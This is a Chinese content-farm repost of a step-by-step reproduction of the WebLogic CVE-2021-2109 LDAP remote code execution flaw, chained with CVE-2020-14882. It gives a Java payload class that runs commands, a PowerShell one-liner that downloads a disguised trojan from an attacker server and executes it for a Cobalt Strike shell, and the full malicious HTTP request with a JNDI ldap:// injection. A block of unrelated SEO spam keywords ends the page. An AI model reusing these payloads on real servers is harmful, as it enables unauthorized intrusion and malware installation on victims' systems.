千家信息网

weblogic CVE-2021-2109ldap远程代码执行漏洞的复现是怎样的

发表于:2026-11-01 作者:千家信息网编辑
千家信息网最后更新 2026年11月01日,本篇文章给大家分享的是有关weblogic CVE-2021-2109ldap远程代码执行漏洞的复现是怎样的,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着
千家信息网最后更新 2026年11月01日weblogic CVE-2021-2109ldap远程代码执行漏洞的复现是怎样的

本篇文章给大家分享的是有关weblogic CVE-2021-2109ldap远程代码执行漏洞的复现是怎样的,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

环境搭建

参考:

https://blog.csdn.net/zhlh_xt/article/details/76436807

下载链接:

https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html

https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

开始安装:

| Java -D64 -jar wls1036_generic.jar |

| C:\Oracle\Middleware\user_projects\domains |
设置密码

搭建完毕

访问目标:

漏洞复现

准备工作:

ldap包下载 https://github.com/RandomRobbieBF/marshalsec-jar/archive/master.zip
构造java包进行编译:Request.java

| import java.io.BufferedReader;import java.io.InputStream;import java.io.InputStreamReader;public class Request{public Request() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}} |

如想上线CS把calc.exe修改为下载cs木马并执行命令

cd ../../Windows/Temp && powershell (new-object System.Net.WebClient).DownloadFile('http://vps/123.jpg','evil.exe') & evil.exe

进行编译:注意目标环境是什么jdk就用什么jdk版本进行编译

编译好class包后上传到vps

开启http服务,下面放编译好的class包

用下载好的marshalsec包开启ldap服务:

通过burp请求:配合
CVE-2021-2109(ldap远程代码执行)和CVE-2020-14882(未授权访问)

完整数据包:

| POST /console/css/%252e%252e%252f/consolejndi.portal HTTP/1.1Host: 192.168.48.203:7001User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1X-Forwarded-For: 127.0.0.2Content-Length: 163Content-Type: application/x-www-form-urlencoded

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22;ldap://vps:5005/Request;AdminServer%22) |

cs接收shell

限制条件:目标可以出网,能够成功构造和发送包

以上就是weblogic CVE-2021-2109ldap远程代码执行漏洞的复现是怎样的,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

编译 代码 漏洞 目标 更多 环境 知识 篇文章 工作 服务 实用 成功 命令 密码 就是 工作会 数据 文章 木马 条件 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 互联网与科技 互联网科技垄断 智能科技公司是互联网公司吗 科技互联网技术 广州互联网科技公司 亿策互联网科技 重庆科技学院互联网 中国最先进互联网科技公司 蓝色互联网科技 汉立互联网科技有限公司联系电话 中化能源互联网科技招聘 互联网时代科技改变生活 互联网金融中的现代科技 江阴互联网智能科技产品进口 深圳市优智互联网科技有限公司 天津腾达互联网科技有限公司 南通创西澳互联网科技有限公司 上海乐五互联网科技有限公司 互联网领先科技活动 现代科技的标志之一的互联网 互联网通讯科技 鸠鸠互联网科技 金融科技 互联网金融 银川新华互联网科技职业技术培训学校图片 崇明区互联网教育科技诚信经营 互联网科技研发水平 晋城互联网科技 雨阳互联网卡科技有限公司 长沙渺峰互联网科技有限公司 中国科技和美国互联网
0